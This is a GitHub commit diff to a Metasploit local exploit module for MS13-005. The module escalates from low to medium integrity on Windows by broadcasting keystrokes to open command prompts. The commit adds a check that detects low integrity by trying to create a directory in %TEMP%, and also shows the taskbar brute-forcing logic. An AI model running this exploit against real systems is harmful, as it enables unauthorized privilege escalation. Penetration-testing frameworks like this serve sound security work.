Skip to content

Commit 72b8891

Browse files
committed
Check for low integrity
1 parent 030640d commit 72b8891

File tree

1 file changed

+28
-9
lines changed

1 file changed

+28
-9
lines changed

modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb

Lines changed: 28 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,8 @@ class Metasploit3 < Msf::Exploit::Local
1717

1818
def initialize(info={})
1919
super( update_info( info,
20-
'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
21-
'Description' => %q{
20+
'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
21+
'Description' => %q{
2222
The Windows kernel does not properly isolate broadcast messages from low integrity
2323
applications from medium or high integrity applications. This allows commands to be
2424
broadcasted to an open medium or high integrity command prompts allowing escalation
@@ -31,16 +31,16 @@ def initialize(info={})
3131
Vista so you will have to check if the user is already running a command prompt
3232
and set SPAWN_PROMPT false.
3333
},
34-
'License' => MSF_LICENSE,
35-
'Author' =>
34+
'License' => MSF_LICENSE,
35+
'Author' =>
3636
[
3737
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
3838
'Tavis Ormandy', #Discovery
3939
'Axel Souchet' #@0vercl0k POC
4040
],
41-
'Platform' => [ 'win' ],
42-
'SessionTypes' => [ 'meterpreter' ],
43-
'Targets' =>
41+
'Platform' => [ 'win' ],
42+
'SessionTypes' => [ 'meterpreter' ],
43+
'Targets' =>
4444
[
4545
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
4646
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
@@ -69,6 +69,26 @@ def initialize(info={})
6969
)
7070
end
7171

72+
# Refactor this into Post lib with adobe_sandbox_adobecollabsync.rb
73+
# Or use GetToken railgun calls?
74+
def low_integrity_level?
75+
tmp_dir = expand_path("%TEMP%")
76+
cd(tmp_dir)
77+
new_dir = "#{rand_text_alpha(5)}"
78+
begin
79+
session.shell_command_token("mkdir #{new_dir}")
80+
rescue
81+
return true
82+
end
83+
84+
if directory?(new_dir)
85+
session.shell_command_token("rmdir #{new_dir}")
86+
return false
87+
else
88+
return true
89+
end
90+
end
91+
7292
def win_shift(number)
7393
vk = 0x30 + number
7494
bscan = 0x81 + number
@@ -100,9 +120,9 @@ def cleanup
100120
end
101121

102122
def primer
103-
# syinfo is only on meterpreter sessions
104123
e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\ndyB0aGUgV2hpdGUgUmFiYml0Lg=="
105124
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
125+
fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?
106126

107127
if datastore['SPAWN_PROMPT']
108128
@hwin = client.railgun.kernel32.GetConsoleWindow()['return']
@@ -119,7 +139,6 @@ def primer
119139

120140
count = count_cmd_procs
121141
spawned = false
122-
# Bruteforce taskbar position Win+Shift+?
123142
print_status("Bruteforcing Taskbar Position")
124143
9.downto(1) do |number|
125144
vprint_status("Attempting Win+Shift+#{number}")

0 commit comments

Comments
 (0)